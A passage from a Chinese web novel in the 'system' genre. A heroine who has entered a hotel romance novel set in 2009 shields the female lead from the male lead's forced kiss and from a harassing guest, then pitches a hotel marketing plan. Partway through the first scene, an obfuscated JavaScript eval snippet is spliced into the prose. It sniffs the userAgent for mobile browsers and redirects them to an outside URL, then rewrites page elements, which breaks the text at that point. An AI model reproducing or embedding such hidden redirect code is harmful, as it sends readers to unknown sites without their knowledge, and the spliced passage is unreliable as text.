渐渐的,夏星澜看不清自己了,因为面前的凌昊天离她越来越近,他脖颈间的木质调香水味扑面而来。 没有征求她的意愿,这个吻已经在咫尺之间。 ——“说不,是你的权利。” 夏星澜蓦地想到这句话,可那股霸道的力量令她不知所措,挣扎的情绪在心中翻涌,她不知道自己究竟是屈从于凌昊天,还是服从某种被内化的规则,她最终通过最小阻力路径,选择闭上了眼睛。 空气凝固,世界静止。 浪漫爱的前戏总是令人看不清背后的本质。 多少言情故事都是这样描写女男主的浪漫氛围,可这真的浪漫吗? 就在凌昊天的唇即将落下时,“砰”的一声,办公室的门被人一脚踹开。 “凌总,嘴对嘴包扎是咱们酒店的新型服务项目吗?” 夏星澜猛地睁开眼,内心竟闪过一丝庆幸。 凌昊天的脸瞬间沉了下来,回头一看,正是姜婋。 “你怎么不敲门?”凌昊天反问。 “你亲人家的时候,有征求对方同意吗?”姜婋理直气壮道,“我这是见义勇为,阻止职场性骚扰。” 凌昊天冷笑:“你倒是管得挺宽。” “主要是你这行为,已经不是宽不宽的问题,而是犯法的问题。” 姜婋语气严肃道:“性骚扰强吻女性,五年起步,《民法典》了解一下?” 凌昊天脸色一黑。 “对了,”姜婋不等他开口,抬手指了指表,“法务部的律师们已经在会议室等你半天了,没想到你在这里搞强制爱呢,你心可真大啊。” 凌昊天站起身,整理了下西装,路过姜婋时还不忘揶揄:“你刚刚还真是让我刮目相看,没想到不学无术的白潇潇还知道搬出《民法典》装腔作势。” “这是基本常识。” 姜婋乜了他一眼:“你想搬还搬不出来呢。多看看法典吧你,别哪天自己因为性骚扰进去了,踩缝纫机的时候可没那么浪漫!” 凌昊天被她呛得无力反驳,甩门离去。 姜婋朝“待杀名单1号”的背影比了个中指,心道终于把瘟神送走了,现在女主离男主三米开外,应该可以做回自己了吧。 她走到夏星澜身边问:“你还好吗?” 夏星澜点了点头:“多谢白小姐关心,我的手没什么大碍。” 她说着起身要走,姜婋上前一步拦住,问道:“等等,你刚才为什么不甩开凌昊天的手?” 夏星澜侧目,眼神中透露着一丝困惑。 姜婋有些生气:“夏经理,刚才的情况下,你难道不应该陪那位客人去医院协助他评估伤情吗?你手上的伤去医院也能得到更专业的处理。万一客人日后要起诉酒店,你难道不应该记录他的就医情况,保存好凭证吗?可是你却选择站在凌昊天的身后,寻求他的保护。在刚刚那一刻,你放弃了你作为前厅经理的身份和责任,退到了一个男人的身后。” 夏星澜的笑容微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15611992|172154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微凝固,转过头,连声音都低了几度:“我不可以吗?” 那语气与姜婋印象中的夏经理截然不同。 “你可以,你当然可以。可是你退了一次,尝试到被权力庇护的滋味,就会有第二次,直到你被权力所麻痹。只是——” 姜婋语气加重:“夏星澜,我们在做选择之前,这个社会上从来没有人教过我们女人,命运馈赠的礼物早已暗中标好了价格,一切皆有代价。凌昊天可以拉着你的手,将你覆盖到他权力的阴影范围,帮你遮挡烈日,他也可以一手遮天,让你不见天日。在权力的交换法则中,你总要付出些什么……” 夏星澜压抑着情绪:“我付出不就是了?” 姜婋一针见血道:“但权力天平最吊诡的一点是,在一开始就不是平衡的。凌昊天拥有的东西太多了,他只需要在上面放一两个砝码,就能撬动你的心。但你,却要搭上你的一切,哪怕All In,都无法让这个天平保持平衡。” “够了——” 夏星澜的情绪终于爆发:“白小姐,我知道你也喜欢昊天,我也知道我配不上他,但我还没有卑微到让所有人都来教训我!难道我退缩一次,害怕一次,都不可以吗?难道我连做白日梦的念头都不可以拥有吗?” 姜婋第一次见到夏星澜如此激动,她在她的眼神中看见了愤怒、不甘、质疑,甚至……反抗。 仿佛她的灵魂在燃烧,发出噼啪的响声,既灼人,又动听。 半晌,姜婋眨了眨眼,小声道:“首先,我要为自己辩解一下,我不喜欢凌昊天。其次,是他配不上你。” 夏星澜眼神中浮现一丝意外。 但下一秒,她就反问道:“白小姐,你在教训我的时候,有没有想过,你和凌昊天其实是一样的?” 姜婋哑然。 夏星澜沉了口气道:“你们都站在权力天平的另一端。你住在酒店最顶级的套房,一天的费用就是我一个月的工资。你随便一个电话,我就要去你的房间听你一个小时不知所云的训斥。还有,你说过——‘说不,是我的权利’,可是你知道吗?作为酒店的前厅经理,我只有微笑的权利。” 姜婋怔住,仿佛有人朝她的脑子里扔了一块沉重的石头,砸出阵阵涟漪。 夏星澜正要转身,又回头道:“对了,谢谢你替我解围。不过,刚才那个情景最好的处理方式,就是我下跪道歉。” 姜婋瞪大眼睛:“……什么?” 夏星澜解释:“我已经安排了工作人员全程录像,我的委屈才是酒店与客人谈判的筹码。玻璃爆炸本来就是酒店全责,如果一味退让,客人只会步步紧逼。我们必须也要让客人犯错,这样才有协商的空间。” 她微微一顿,语气轻柔却字字锋利:“就算你把法律条款摊在阳光底下,也无法照亮人性里最阴暗的沟渠。白小姐,处理酒店的意外,没有你想象的那么简单。我今天本来已经下班了,但是投诉部还是让我去处理,没有让值班的男前厅经理过去,你知道为什么吗?” 姜婋皱了下眉,就猜到了那个答案。 夏星澜自嘲一笑:“因为,女性去处理男客人的问题,可以事半功倍。所以我比你更加明白,一切皆有代价。” 她说罢将额前的碎发挽到耳后,又露出了那个标志性的笑容:“白小姐,我先下班了。” 砰—— 门关上,办公室里静得落针可闻。 半晌,系统忍不住发声:“玩家,我有必要提醒你,夏星澜对你的好感度又下降了。” 姜婋眼神迷离,嘴里喃喃:“天呐……” 系统:“?” 姜婋眼睛发亮:“可是我对她的好感度上升了!” 系统:“玩家,你是被骂傻了,还是有受虐倾向?” 姜婋情绪激动:“系统,你有没有听到夏星澜是怎么训斥我的?她反驳我的观点是那么条理清晰,很多角度连我都没有想到,难怪她是女主角……而且刚才的危机事件,原来夏星澜早就想好了应对办法,即便没有我和凌昊天插手,她也可以独立解决!” “夏星澜说的对……我确实被傲慢和偏见蒙蔽了眼睛,我只是在用小说里的文字去构建她,却从来没有去真正了解她,接触她,理解她。我和凌昊天犯了一样的错误,把夏星澜当做一个被动的,等待被拯救的弱势女主角,而没有看见她的聪慧、她的主动、她的狡猾和反抗……” 姜婋说着,眼神微动:“我没有把夏星澜当做是一个完整而独立的人。” 系统:“玩家,请谨记你的任务。如果闯关失败,你将无法改写现实中死去的结局。” “我是该死!” 系统:“……玩家,请你冷静。” “我的意思是说——” 姜婋深吸一口气:“或许,我第一步要杀的不是浪漫爱和男主角,而是某一部分的自己。那个傲慢、偏见,内化了父权制下厌女症的我自己。” 7. 07 上午的阳光顺着罗曼蒂克庄园的旋转门,以45度角照射进欧式装潢的前厅,高耸的水晶灯倒映着步履匆匆的宾客剪影。 前厅,是罗曼蒂克庄园最忙碌的地方。 这时,一个客人推着行李,抱着婴儿,一脸焦急地奔向前台。 正在前厅巡视的夏星澜还未等客人说什么,就已经精准预判,从柜台后拿出婴儿纸尿裤,将客人指引到一楼的洗手间。 “第45个。” 系统:“?” 姜婋坐在休息区的角落,咬着果汁里的吸管说:“这是今天夏星澜处理的第45个客人的问题了。” 她撑着下巴,看向远处的夏星澜:“我观察她一天了,她给鹅毛过敏的客人换枕头,蹲在地上帮客人找掉在地毯里的耳钉,光是马桶堵塞就处理了10次,还亲自去后厨给闹肠胃炎的客人做病号饭。我看她的对讲机就没有停过,一直面带微笑的处理各种问题,尽职尽责。” 她说完,视线落到夏星澜的腿上,只见她抬起脚跟,时不时用脚尖和脚跟交替承重。 姜婋眼神关切:“她的腿应该很酸吧?丝袜里小腿凸起的部分应该是舒缓贴剂,她每天要站这么久,却还要穿皮质高跟鞋,还有这套工作服,也太紧了吧?” 她观察的过于投入,以至于放回杯子的时候,没预估好距离,“啪叽”一声摔碎在地,果汁四溅。 姜婋吓了一跳,还没想到该怎么处理之时,夏星澜已经第一时间冲了过来,抽出领口的丝巾,利落地帮她擦去衣服上的果汁。 保洁员也迅速处理了玻璃碎片,一切恢复如常,仿佛什么都没发生过。 夏星澜微微俯身,礼貌又关切:“白小姐,您没受伤吧?” 姜婋有些尴尬,干咳一声:“你处理的这么快,还来不及受伤。” “我看您已经在这坐了半天了,是需要什么帮助吗?” 姜婋本来想摇头,话到嘴边却变成:“确实需要。我昨天让一个人生气了,但我不知道该怎么让她原谅我。” 夏星澜想了想,建议道:“或许你可以给他送一份礼物,再真心道歉。” “是吗?” 姜婋抬眼看向前台的玫瑰花束,问:“夏经理,你桌上那束空运的玫瑰,还有柜子里堆着的那些昂贵的礼物,有让你开心吗?” 夏星澜这才反应过来:“白小姐,你说的那个人该不会是……” 姜婋点了点头,“嗯,就是你。” 夏星澜又露出那个标志性的微笑:“我并没有生你的气——” 姜婋直言:“我讨厌你。” 夏星澜愣住。 姜婋连忙摆手:“不是你想的那种讨厌!我是说……” 她抓耳挠腮,努力组织语言:“我对你的讨厌不是我主动的,而是我的潜意识里,有一套被父权制设定好的厌女程序,我根本就不知道这个开关什么时候开了,所以我都没有意识到,我对你有刻板的印象,甚至轻视了你。明明我一直在警惕这种潜意识,可它还是偷偷影响了我……” “直到你昨天说完那些话,我才意识到我之前对你一通理论输出,其实是没有把你放在平等的位置上,下意识觉得你应该听我的。但我却忽略了你有你的思想,你有你独立的人格。我都没有去了解你到底是一个什么样的人,就对你指手画脚,对不起……” 姜婋说的又急又快,夏星澜努力试图跟住她的思路,但还是忍不住道:“白小姐,你说的我好像没太听懂……” “听不懂也没关系。” 姜婋抬手搭上她的肩头,睁大眼睛试图让她看懂自己真挚的眼神。 “只要你知道我讨厌你,但是我也很爱你,就行了。因为爱你的第一步,就是要承认我的厌女。” 夏星澜呆住了,从来没有人当着她的面说过如此矛盾的话。 既爱你又厌你,但她又觉得对方并没有说谎,因为她的眼神如此真诚,毫无杂质。 她本来以为经过昨天的事情,白潇潇不会再出现在自己面前了,可是今天上班后,她就坐在角落里观察自己,好像在试图了解自己是一个什么样的人。 夏星澜犹豫道:“白小姐,其实……” 忽然,她手里的对讲机又响了:“夏经理,1506的客人在投诉,麻烦你过去看一下。” 夏星澜按下通话键:“好,我马上过去。” 她对姜婋微微颔首:“失陪,我先去工作了。” 姜婋目送她的背影,顿时泄气:“系统,我刚才是不是说得乱七八糟?” 系统:“毫无逻辑可言。” “那夏星澜她能听懂吗?” 系统:“玩家,你知道为什么人在表达感情时,需要面对面交流吗?” “因为能看见对方的表情。” 系统:“没错,语言只是表达的一部分,表情、动作、音调,甚至周围的氛围,都是情绪的传递渠道。” 姜婋充满期待地问:“那我的感情有好好的传递给她吗?她对我的好感度有变化吗?” 系统安静了一秒:“检测到女主角对你的好感度并未发生变化。” “好吧……” 姜婋垂下头,又倏地反应过来:“等等!刚刚对讲机说1506投诉,我怎么记得有一个关键情节就是发生在1506呢?” 系统:“正是。这是为了推进男女主感情发展,而设置的虐女主情节。” 姜婋忿忿不平:“这破浪漫爱世界,不谈恋爱就会死吗?不虐女主就推不动故事线了吗?” 1506客房前,夏星澜按了一下门铃,一个西装笔挺的男士打开房门。 “客人,你好,是您投诉说电视机坏了吗?” “对,你进来帮我看看吧。” 男客人做了个请进的手势,夏星澜走进来,特意没有关门。 男客人回头道:“把门带上。” 夏星澜顿了顿,因为按照规定,与异性客人共处一室时,不应该关门。 男客人笑着解释:“是音量坏了,我担心一会儿调音量,吵到其他人。” 夏星澜点点头,转身关上门,但还是留了一条缝隙。 “您是说音量有问题?” 夏星澜打开电视机,发现音量正常。 “太奇怪了,”男客人无奈道,“我让维修部也来看过,维修人员一来,这电视就好了。真不是我故意找麻烦,我是做金融的,得时刻关注财经新闻,这电视音量时好时坏的,耽误我工作啊。” 夏星澜提议,“那不然,我帮您换一间客房。” “可我东西已经放好了,实在懒得折腾。要不这样,你帮我看看是不是外部连接出了故障,你们电视后面那个缝太窄了,我一个男人,头都伸不进去。” “那我帮您看一下。” 夏星澜转过身,弯下腰开始查看电视机后部的电线连接。就在她毫无防备的时候,突然感觉自己的臀部好像被人碰了一下。 她猛然回头,男客人站在身后几步远,手里拿着遥控器,笑得一脸无辜。 难道是自己感觉错了? 夏星澜平复心绪,再次转过身,弯下腰查看。 倏地,一个坚硬的东西抵在她的臀部,让她瞬间脊背发凉。 夏星澜忽地转身,男客人依旧站得不远不近,面色如常:“怎么了?” “没什么……”她试图说服自己是误会。 夏星澜继续查看电线,可她意识紧绷,注意力根本无法集中在这些错综复杂的线团。 她开始怀疑,是不是自己想多了? 就在这时,那个坚硬东西再次抵在自己的臀部,甚至还蹭了一下。 夏星澜再也忍不住,转身问道:“你刚刚是不小心碰到我了吗?” 男客人道:“是不是我探身的时候遥控器碰到你了?抱歉啊。” 夏星澜看着他这张面露无辜的脸,虽然暗示自己他不像是会做这种事的人,但她看着男客人的微笑,还是涌起一股恶心和恐惧。 她想立刻离开,毕竟这里没有监控录像,没有旁人,就算自己说对方耍流氓,也无凭无据…… 男客人问:“经理,这电视机是不是有问题啊?” “经理”二字将夏星澜的思绪拉回来,仿佛有个声音在告诉她,作为前厅经理,你应该处理客人的问题,而且是面带微笑地处理。 最后,“夏经理”打败了“夏星澜”。 她虽很恐惧,但还是将自己感受放在了客人需求之后。但她转身查看时,默默摘下了自己的胸针…… 就在这时,房门突然被人大力推开! 仿若一束光照进来,是姜婋。 夏星澜很奇怪,她怎么会在这? 疑惑很快被庆幸取代,还好她出现了。这种感受令夏星澜觉得熟悉,上次凌昊天差点吻上自己的时候,白潇潇突然出现时,她也是这种感受。 男客人怒目问道:“你是谁啊?怎么突然进我的房间。” “你的房间?” 姜婋一手拿着房卡,一手端着咖啡,大步流星地走进来,“这明明是我的房间啊?哎,你是前厅经理吧?” 她朝夏星澜招了招手:“你过来帮我看一看,是不是你们前台给错房卡了?” 夏星澜快步走过来,发现姜婋手里那张卡根本就不是房卡,而是银行卡。 她一瞬间就明白了,配合道:“可能是前厅工作人员弄错了,我带您去重新换一张。” 她们刚要走,男客人却快步拦在门口:“等等,经理,我这电视还没修好呢……” “修你爹!”姜婋忽然手一抖,手中的热咖啡兜头泼了过去。 “啊——” 男客人一声惨叫,捂着被烫到的胸口,怒吼道:“你疯了吗?!” 姜婋冷哼:“不好意思哦,刚刚没拿稳……就像你刚刚没拿稳你那根破遥控器一样。” 男客人霎时脸色涨红。 姜婋闪身上前,膝盖猛地顶上前踢,干脆利落地命中要害。 “啊——”男客人疼得双腿一软,捂裆跪地。 姜婋拎着他后领,将他直接逼进墙角,警告道:“再敢对女性性骚扰,我就用热咖啡给你灌肠,让你菊花残,满腚伤!” 男客人顿时菊花一紧,脸色煞白,连连求饶。 姜婋甩手松开,对方瘫坐在地,像滩烂泥。 她拽过夏星澜的手腕,干脆利落地转身离开。 直到来到电梯口,姜婋才甩开手疯狂吹气。 “烫死我了!我特意要了一杯超热的咖啡,呼呼——”

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夏星澜重新戴上胸针:“没办法,在酒店里总会遇到这样的事情,有些男客人总分不清人际交往的界限……” “你可别信他们是真的‘分不清’!” 姜婋冷笑:“这些男人,一遇到这种问题就会装傻充愣,他们指望女人来告诉他们什么是性骚扰,什么是人际交往的规则,仿佛性骚扰是女性的才能明白神秘现象。可是在这个社会上,男人几乎控制着每一项重要的社会制度,他们能搞清楚怎么把女性挤出职场,怎么男男相护,却搞不清楚性骚扰?我看他们不是不懂,而是故意装作不懂。毕竟,装傻也是一种特权。” 这段话令夏星澜茅塞顿开,仿佛一盏灯突然亮起,照亮了她脑海中某个一直被忽略的角落。 “白小姐,你还真是让我刮目相看,我也想重新认识你了。” “啊?” 姜婋反应过来,眼睛一亮:“所以你接受我的道歉,我们之间可以重新开始了吗?” 夏星澜觉得这话说得有点怪,但对方如此真诚,让她不由自主卸下了防备,轻轻点头。 “其实,我一开始的确对你有点排斥……不过后来发现,白小姐,你跟我想的很不一样。” “你别叫我‘白小姐’了,听着见外。”姜婋眼珠一转,笑嘻嘻地提议,“不然你叫我‘婋婋’吧?” “潇潇?是你名字的潇潇吗? “不是那个潇——” 姜婋说着拉起夏星澜的手,在她柔软的掌心一笔一划写下,“女字旁,加一个老虎的虎,这是我的小名,婋婋。” 她写完后,故意在夏星澜掌心轻轻点了两下,眨眼笑道:“怎么样?简单好记吧?” 夏星澜只觉得的掌心被她弄得有点痒,不自觉收回手,好奇地问:“原来还有这个字,是什么意思?” “母老虎勇猛咆哮之意。” 姜婋故作凶狠地比划了一下,随即露出小虎牙,狡黠一笑,“也是聪明又自信的意思。” 夏星澜莞尔:“今天谢谢你了,婋婋。” “你要真想谢我,不如我们一起吃个饭,顺便聊聊天促进下感情,我听说西餐厅的冰激凌蛋糕特别好吃。” 姜婋眨巴眼睛,心道:我要想办法和夏星澜锁死在一起,这样才能让她远离男主,减少触发女主必为男主心动法则,哼! 夏星澜略微迟疑:“可是我今天下班很晚。” “没关系,我等你。”姜婋递上手机,“留个电话,到时候不见不散。” 夏星澜离开后,系统冷不丁冒出声音: “玩家,检测到女主角对你的好感度已上升。” 姜婋得意:“这还用你说?我又不是瞎子。” 随即她猛然想起什么,警觉地问:“待杀名单一号呢?凌昊天这家伙怎么突然没动静了?” 系统:“待杀……呃……男主角凌昊天正在处理昨天玻璃爆炸的事故,他找到那位客人的老板,通过疏通关系和高额赔偿金,已经解决了投诉。” 姜婋冷哼:“真不愧是男一号,钞能力也是特权。” 系统:“虽然解决,但是褚明珠董事长非常生气,大骂了他一通。” 姜婋痛快:“可惜不能现场直播,我就爱看男主吃瘪!” 系统:“玩家,你先别高兴太早。因为发生了这件事,褚董事长要在今天下午要和酒店管理层开视频会议,探讨罗曼蒂克庄园酒店日后的经营问题。凌昊天在会议上特意提到了你,希望褚董事长批准让你离开酒店。” “这个死男主,一看见我就想赶我走!那褚董事长答应了吗?” 系统:“按照原小说情节,褚董事长并未同意,但白潇潇自知无法得到凌昊天的爱,含恨离开,在这一章结尾退场。” 姜婋呆住:“啥?我、我就下线了?” 系统:“是的,在原小说情节中,男女主已经和好如初。但现在,因玩家的出现,干扰了情节发展,所以故事出现混乱。男主会不遗余力赶走你,以修正浪漫爱主线进展。” 姜婋脸色一凛:“不行,我要苟住,绝不能下线!” 8. 08 另一边,凌昊天与遭遇玻璃爆炸的客人达成和解,他不明白为什么母亲还要针对这一事件召集所有管理层开会。 “这次意外事故,我已经处理好了。”凌昊天淡然说道。 会议室,大屏幕中,褚明珠董事长犀利的目光透过镜片,扫过凌昊天递交的事件报告,瞬间就抓住了其中的漏洞。 “你确定已经处理好了吗?” 她的质问通过音响系统回荡在整个会议室,声音清晰、冷静,带着不可置疑的威严。 “可是你处理得并不妥善,因为这次玻璃爆炸事件,对手企业借此掀动舆论,导致我们集团的股价下跌。眼下的当务之急,是如何解决舆情危机,恢复公司的股价。” 褚董事长说完,摘掉细框眼镜,直视屏幕看向众人,“各位,有什么解决方案吗?” 众人面面相觑,会议室陷入一片沉默。 这时,门外“咚咚”两声。 秘书前去开门,一道身影踏入,正是姜婋。 凌昊天腾地起身:“白潇潇,你来这儿做什么?我们在开会,不是你能胡闹的地方!” 姜婋一点都没生气,而是反问:“我来就是胡闹,你们这些男人在这儿就是开会。怎么?我就不能是来进言献策吗?凌总,我看你对女性有歧视呀?” “你——” 凌昊天正要反驳,褚董事长说:“让潇潇进来。” 姜婋大摇大摆地走进来,心想关键时刻还得是女老板! 众人正困惑时,褚董事长道:“今天早些时候,潇潇给我发了一份针对此次事件的解决方案,我认为很有价值,所以也请她来参加今天的会议。” “就她?”凌昊天冷哼,眼底浮现出讥嘲。 姜婋咧嘴一笑:“没错,就是我。” 她走上前,打开投影:“多谢褚董事长的信任,那我就抛砖引玉,先说一下我的方案。其实我们要想清楚的是,为什么竞争企业要揪着此次事件掀起舆论呢?” “酒店每天发生的投诉那么多,而且这位客人并没有受伤,也与我们达成了和解。根本原因就是我们刚搞了个轰轰烈烈的25周年庆典,行业目光全在我们身上。这个时候爆出一个对我们不利的新闻,就可以直接打压我们,之前的周年庆典也等于白干了。” 众人默默点头,觉得有几分道理。 “若细论起来,此次的玻璃爆炸事件并不是意外,而是罗曼蒂克庄园正值中年危机!” 众人一愣,却见姜婋点击下一页,画面切到一张年久失修的浴室照片。 “酒店已经25周年了,也就意味着硬件、软件也都有年头了。此次爆炸事件,主要由于玻璃老化,以及排风系统故障,导致浴室温度过高引起的。” 她翻到下一页,是夏星澜整理的投诉比例数据图。 “我从夏经理那得知,淋浴间和卫生间的问题投诉是比例最高的,每个月的投诉数据早都已经发到了管理层的手里,但是没有人重视,所以才有了今天玻璃爆炸的回旋镖!” 闻言,台下众人都低下头,轻轻擦汗。 姜婋一指屏幕,展示自己的企划案。 “所以我认为趁此机会,启动‘焕新计划’,全面硬件升级。既显示了我们知错就改的态度,也表明了提升服务的诚意。再拍摄广告宣传片,反向利用这波舆情宣传,吸引大家入住。” 褚董事长道:“潇潇的这套宣传方案写的很新颖,大家觉得如何?” 姜婋心想,我一个活在流量时代的人,来指导你们3G时代的人搞宣传,简直就是洒洒水啦~ 凌昊天蹙眉:“找试睡员测评酒店天价床垫,找网红情侣拍摄蜜月大片,请知名博主拍摄度假Vlog……Vlog是什么东西?” 姜婋耐心地给2009年的落伍霸总解释:“就是Video blog,视频博客。” 凌昊天不屑道:“我们是高端酒店,可不是随便什么人都能来宣传,会拉低我们酒店的格调。” “大人,时代变了!酒香也怕巷子深,如果罗曼蒂克庄园一直维持高冷人设,那入住的客人只会越来越少。据我所知,罗曼蒂克庄园近年来一直亏损,我没说错吧?” 凌昊天一时哑口。 姜婋把企划书翻到下一页:“罗曼蒂克庄园建立之初的定位,是法式风情酒店,目标客户是来这里度假的外国人。但是随着2008年奥运会之后,国民经济不断提升,入住的国人越来越多,所以酒店整体的定位都需要调整。” “比如餐饮部,之前高薪聘请外籍主厨,但中餐却做的一塌糊涂。我调查过了,酒店附近的中餐馆特别多,生意还都很不错,为什么呢?因为我们的中餐做的太难吃了,被周边小馆吊打。还不如提高中餐质量,这样也能提升餐饮部的营业额。” 凌昊天反驳:“这涉及到酒店的经营方向,还轮不到你一个外人来指手画脚。” “我怎么能算是外人呢?”姜婋眨巴着眼睛道:“我不是你的未婚妻吗?” “你——” 见凌昊天气得脸色发青,姜婋内心窃喜,能扳回这一局,多亏了有系统的存在! 【两个小时前】 姜婋在房间里猛灌冰咖啡,薅着头发苦思冥想怎么能对抗下线的命运。 她查遍酒店的资料,挠头道:“这时候要是有ChatGPT和DeepSeek就好了,这样我就能够出一份罗曼蒂克庄园的宣传改造方案。” 系统:“我可以帮你。” “你?”姜婋半信半疑。 系统傲娇道:“我作为一个以持续学习为目标的爱女系统,当然也经过先进的自然语言处理技术,以及海量的数据训练。我可以收集整个文学城里的相关文本,找出以酒店管理、广告传媒为背景的小说,再进行深度学习,给你出一份改造方案。” 半晌后,姜婋面露惊喜地看着系统设计的方案,“虽然有些细节疑似AI幻觉,但应付凌昊天应该够了。” 系统:“如果时间充裕,我还可以做的更加完美。” 姜婋笑道:“你这个系统虽然没有经验值、技能、武器之类的,但原来你就是我的外挂啊!” 会议室里,姜婋想到这里,捂嘴偷笑。 这时,屏幕里的褚董事长发话:“潇潇的建议确实值得参考,尤其是这份宣传方案和中餐厅的提升意见。” 姜婋立刻自荐道:“褚董事长,其实宣传方案最重要的就是落地,我愿全程参与酒店的宣传计划,只要您让我留下来!” 褚董事一直把白潇潇当成未来儿媳妇,她愿意为酒店尽力,当然没有理由阻止,于是顺水推舟:“好。那这次酒店的宣传工作,就由昊天和潇潇来共同推进吧。” “妈,你怎么让她——” 褚董事长声音一沉:“注意你的称呼,我们正在开会,你应该叫我董事长。” “是,董事长……”凌昊天垂下头。 姜婋看见这一幕,脑中闪过一个念头,难不成凌昊天是妈宝男?平时炫酷狂拽,此刻倒是像个缩头缩脑的小鹌鹑。 会议结束时,姜婋特意走到泄气的凌昊天身边,幽幽道:“小昊天,之后的宣传工作有啥不懂的,记得来问你的未婚妻哦!” 她心想,反正我骂你也会反弹,不如顺着“男主光环法则”恶心死你。 看着凌昊天吃瘪的怂样,姜婋只觉心情大好,连步伐都轻快了。 众人离开后,偌大的会议室里只剩下凌昊天跟屏幕前的褚明珠。 凌昊天忍不住问:“妈,你为什么要让白潇潇留下来?” “因为她提供的方案确实可行。反倒是你,昊天,我怎么觉得你对酒店的经营并不上心呢,倒是对那个前厅经理花了不少心思。” “妈,不是你想的那样!我和星澜……” 凌昊天正要继续辩解,但看见褚董事长犀利的目光,顿时噤声。 褚明珠语重心长:“无论如何,你现在都应该把心思放在酒店的经营上,这不仅是我对你的考验,也是整个凌氏集团对你的考验。昊天,你要清楚,集团的继承人可并不只有你——” 凌昊天诧然:“除了我,难道还有别人?” “你忘了?”褚明珠语气一哂,“还有你父亲那个私生子!” “他有什么资格?” “他确实没有资格,不过保不齐董事会那些老顽固,会利用这个私生子来做些什么。你知道吗?” 褚明珠语气一顿,“我听说他要回国了。” 闻言,凌昊天神情蓦地剧变,仿佛又置身于七岁那年躲藏的酒柜,撞见了父亲和别的女人拥吻的画面…… 想到这里,他桌下的双手握紧拳头,用力到指节发白。 会议室外,姜婋眉飞色舞,“太好了,危机解除!这下凌昊天再也赶不走我了。” 但她兴奋不过三秒就冷静下来:“系统,我已经改变了白潇潇下线的走向,那之后的发展呢?” 系统:“由于白潇潇并未离开,现在剧情已经彻底跑偏,无法预测。” “好吧,那我只能摸着石头过河了。” 忽然,她小腹忽然一抽,一股熟悉之感袭来…… 女洗手间,姜婋果不其然来月经了。 更糟糕的是,她方才还猛灌了好几杯冰咖啡,此刻小腹坠痛无比,像是有一只无形的手在里面翻绞。登时天旋地转,冷汗直流,姜婋每次来月经前都会提前备好止痛药,但这次毫无准备。 她捂着肚子,蜷缩在马桶上思考对策。 这是2009年,一个并不会在女厕所提供卫生巾的时代。 况且在这个言情世界里,她能找谁帮忙呢? 蓦地,她拿出手机,翻到了夏星澜的名字。 也不知过了多久,就在姜婋痛得快晕过去的时候,一阵急促的脚步声传来。 “婋婋,你在里面吗?” 这声呼唤,仿佛仙女下凡。 姜婋支撑着身体,虚弱回应:“我在这儿……” 夏星澜搀扶她去了休息室,她不仅带了卫生巾,还带了止痛药、暖贴、巧克力。 姜婋吃下止痛药,贴上暖贴,感动得差点飙泪:“还好有你!你的东西带的也太全了。” 夏星澜笑道:“我是前厅经理嘛,这些都随身带着。”她拿出一小盒巧克力递给她,“补充点糖分。” 姜婋随便拿起一颗,放进嘴里后瞪圆眼睛,“你做的?” “你怎么知道?” “和那个蛋糕的巧克力酱一个味道。好好吃啊,你做东西可真有天赋!” “你要是喜欢,这盒送给你,之后我再多做些给你。” “谢谢你呀!” 姜婋捧着盒子吃起来,叹气道:“本来想今晚和你一起去吃西餐厅的冰激凌呢,结果我有心无力了……” 夏星澜道:“正好我也下班了,你还想吃什么?” 姜婋想了想:“我想吃热热的,暖暖的,可是你们中餐厅的菜一言难尽,我都吃出心理阴影了……” “不如,我做给你吃?” 姜婋眼神一亮。 两人来到厨房,却发现里面空无一人。 “人都去哪儿了?” “今天晚上酒店有烟花秀派对,厨房的人都去室外准备BBQ了。”夏星澜挽起袖子,“你肚子不舒服,不如来点热乎的海鲜面?” “好啊,我查酒店资料的时候,就看见客人说,夏经理做的病号饭特别好吃,今天让我歪打正着了。” 夏星澜笑着系上围裙,拿出海鲜,从刀架抽出一把刀。 手起刀落间,一条鱼已迅速开背去脊,刀刃沿着纹路游走,鱼肉分离得干净利落。处理虎虾时,她手指沿着虾身第二节轻巧一捏,虾线便完整地被剔除,没有半点残留。顷刻间,她换了把更适合的菜刀切菜,刀影纷飞,瞬间青葱丝丝分明,姜片薄如蝉翼。 整套动作行云流水,好似深藏不露的侠女,信手拈来一招半式,如风过无痕,醉卧折花,一时竟让姜婋看痴了。 她又惊又喜:“没想到你厨艺这么厉害,你有学过吗?” 夏星澜手上动作不停:“我这算什么,不过是跟我妈妈学的。” 姜婋回想起来:“我记得你说过,上次的庆典蛋糕的巧克力酱也是你按照你母亲的配方做的。” 夏星澜点头:“我也只是复刻出十之八九。我母亲为了养我和弟弟,开过面包房、早餐店、小吃摊……她用自己的手艺和一把刀撑起了整个家。” “你妈妈好厉害!” 刀声一顿,夏星澜垂眸道:“是啊,不过她已经过世很多年了。” 姜婋愣住,感同身受。 她知道小说里夏星澜的母亲在她上高中时就去世了,这一直是夏星澜内心最深的伤痛,但小说里对于夏星澜的母女关系只有寥寥几笔。 姜婋的母亲也是在她读书时去世的,这件事她至今都并未完全接受,所以她明白母女关系绝不是只字片语就可以概括的,母亲对于夏星澜来说一定非常重要。 姜婋沉默了片刻,轻声道:“我妈妈也去世了。” 夏星澜有些诧然,“对不起,我是不是提到你的伤心事了?” 姜婋笑道:“没有,我其实很开心能和别人聊到我母亲,就好像她还在一样……如果连我们都避之不谈,那她们才是真的消失了。” “你知道我为什么喜欢做饭吗?” 姜婋杵着下巴,抬眸看向她。 夏星澜眸光微动:“因为每一次做菜,我都很想做出妈妈的味道,这就像一种我们母女之间的隔空对话,虽然她不在了,但味道却在告诉我,她还在……” “她们就是还在啊。” 姜婋指了指自己,又指了指夏星澜,“她们在我们心里,身体里。我们吞下妈妈做的食物,也吞下了食材上的刀痕,吞下了她们。” 两人 